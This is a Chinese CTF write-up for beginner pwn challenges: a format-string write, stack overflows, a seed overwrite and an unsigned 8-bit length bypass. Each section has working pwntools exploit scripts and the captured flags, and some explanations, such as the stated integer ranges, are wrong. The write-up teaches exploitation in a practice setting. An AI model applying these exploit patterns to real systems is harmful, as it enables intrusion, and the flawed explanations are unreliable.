(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb
⭐学习网站
肝就vans了
⭐CGfsb - printf格式化字符
拿到附件,首先对其进行查看 checksec e41a0f684d0e497f87bb309f91737e4d
checksec e41a0f684d0e497f87bb309f91737e4d
[*] '/mnt/c/Users/11145/Desktop/e41a0f684d0e497f87bb309f91737e4d'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
回顾一下:
Arch: 程序架构。 该程序是 x86-32位-小段字节序号
RELRO: 在程序启动时就解析所有动态符号/设置符号重定向表格(只读),来减少对GOT表的攻击
Stack:栈溢出保护
Nx:堆栈不可执行,即不可在栈上执行shellcode,要利用现成system等lib函数(如"\bin\sh")等
PIE:内存地址全随机化
所以,将附件拖入32bitIDA中。老规矩 F5 或 shitf+F12 查看。追踪到如下主函数:
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
显然,pwnme==8
是得到flag的关键。双击追踪:
显然pwnme
被设置为全局变量,根据之前 NO PIE
可知,地址不会改变 0804A068
接下来,就是要确定偏移量。printf(&s);
即:printf格式化字符
详情可见大佬博客: 格式化字符串漏洞
因此,利用 如下,来确定偏移量。
aaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
编写exp
from pwn import *
p = remote('111.200.241.244', 45138)
addr_pwnme = 0x0804A068 #pwnme所在地址
p.recvuntil("please tell me your name:\n")
p.sendline('J1ay')
payload = p32(addr_pwnme) + b'a' * 0x4 + '%10$n' # b'a' * 0x4 四个字节用于填充
p.recvuntil("leave your message please:\n")
p.sendline(payload)
p.interactive()
由于p32(addr_pwnme)占4个字节,而我们要让其==8,必须给他再填充4个字节
%10$n
这里偏移量为10,%10$n
意思为 取第10个参数中的内容,以内容为地址写入整体字符串的长度
cyberpeace{bdc5a8ec23eb96270e992665b1333e3f}
⭐when_did_you_born - 溢出
checksec
查看
root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec when_did_you_born
[*] '/mnt/c/Users/11145/Desktop/when_did_you_born'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
拖入IDA64中,选择main函数 F5
查看伪码
显然我们要利用v4变量所在gets函数,通过覆盖v5原本值,来实现v5值为1926。
因此,下一步就是确定v5/v4 变量所在地址:(双击查看)
编写exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0 #0/1切换本地调试
def main():
if content == 1:
J1ay = process("when_did_you_born")
else:
J1ay = remote("111.200.241.244",46071)
payload = b'a' * (0x20-0x18) + p64(1926) #1926覆盖值,(0x20-0x18)为v4和v5地址差值(偏移量)
J1ay.recvuntil("What's Your Birth?\n")
J1ay.sendline("2021")
J1ay.recvuntil("What's Your Name?\n")
J1ay.sendline(payload)
J1ay.interactive()
main()
即可获取
cyberpeace{65c64869ab65a0a82e11229c74b23e9e}
⭐hello_pwn - 溢出
同上题解法。简单看一下IDA
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
sub_400686(0LL, &unk_601068);
只需实现 dword_60106C == 1853186401
。跟上题类似。
可构造 payload = b'a' *(0x6C-0x68)
偏移量
payload = payload + p64(1853186401)
将 1853186401 数据 填充进去。
编写exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
def main():
if content == 1:
J1ay = process("hello_pwn")
else:
J1ay = remote("111.200.241.244",42801)
payload = b'a' * (0x6c-0x68) + p64(1853186401)
#J1ay.recvuntil("lets get helloworld for bof\n")
J1ay.sendline(payload)
J1ay.interactive()
main()
得到
cyberpeace{af41f61a47e0f993edc71bb012877046}
⭐guess_num - 随机数-溢出
拿到附件,首先 checksec
一下
root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec guess_num
[*] '/mnt/c/Users/11145/Desktop/guess_num'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
拖进 64IDA中,
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets((__int64)&v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
sub_C3E()
函数
__int64 sub_C3E()
{
printf("You are a prophet!\nHere is your flag!");
system("cat flag");
return 0LL;
}
显然,在这里拿到flag。
现在来看主函数:
双击 gets
,追踪到 seed
0000000000000030 var_30 db ?
............................................
0000000000000010 seed dd 2 dup(?)
发现需 0x30-0x10
即覆盖20个地址,就可到 seed[0]
进入循环,导入
from ctypes import *
,
利用cdll.LoadLibrary("libc.so.6")
根据如下随机数产生代码for ( i = 0; i <= 9; ++i ) // 循环10遍 { v6 = rand() % 6 + 1; ..................... }
编写exp
from pwn import *
from ctypes import *
p = remote('111.200.241.244',38649)
# 随机数循环
def srand():
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(1)
for i in range(10):
p.recvuntil("Please input your guess number:")
p.sendline(str(libc.rand()%6+1))
# gets函数覆盖
p.recvuntil('Your name:')
payload = b'a' * (0x30 - 0x10) + p64(1)
p.sendline(payload)
# 随机数循环
srand()
p.interactive()
⭐int_overflow - 无符号整型溢出
checksec
查看
root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec int_overflow
[*] '/mnt/c/Users/11145/Desktop/int_overflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
拖进IDA32里,查看 -- 主函数
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
显然令v4=1,进入函数login
char *login()
{
char buf; // [esp+0h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]
memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check_passwd(&buf);
}
函数check_passwd()
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);
}
return result;
}
以及发现 命令
cat flag
,也就是说,只要我们确定偏移量,将返回地址覆盖到804868B
即可拿到flag。
分析:
在函数check_passwd()
中
显然可见
strcpy(&dest, s)
将 s 拷贝到dest,s是传入的password。
如下: 只需 0x14+4
个字节就可溢出。
当然,有个问题就是,开头对传入的s长度 v3 进行了校验,
u
代表此为 无符号整型,长度必须在4u-8u
间,但是我们需要18个字节,如何绕开?
无符号整型范围为 0~65535 ,则我们可以利用无符号整型溢出,来实现绕过。
具体可以参照这篇大佬博客 c语言的整型溢出问题
简单来说,就是溢出的值会与256求模,得到最终结果。
因此,本是 4--8,等价于 255+3 -- 255+8,即在259--263内就可实现绕过
编写exp
from pwn import *
p = remote('111.200.241.244',52479)
p.recvuntil('Your choice:')
p.sendline("1")
p.recvuntil('Please input your username:\n')
p.sendline('J1ay')
payload = b'a' * (0x14 + 4) + p32(0x0804868B)
# v3取值在259-263
v3 = 259
payload += b'a'*(v3 - len(payload))
p.recvuntil('Please input your passwd:\n')
p.sendline(payload)
p.interactive()
关于以上链接引用【侵权删】
若有错误之处,还请多多指正~~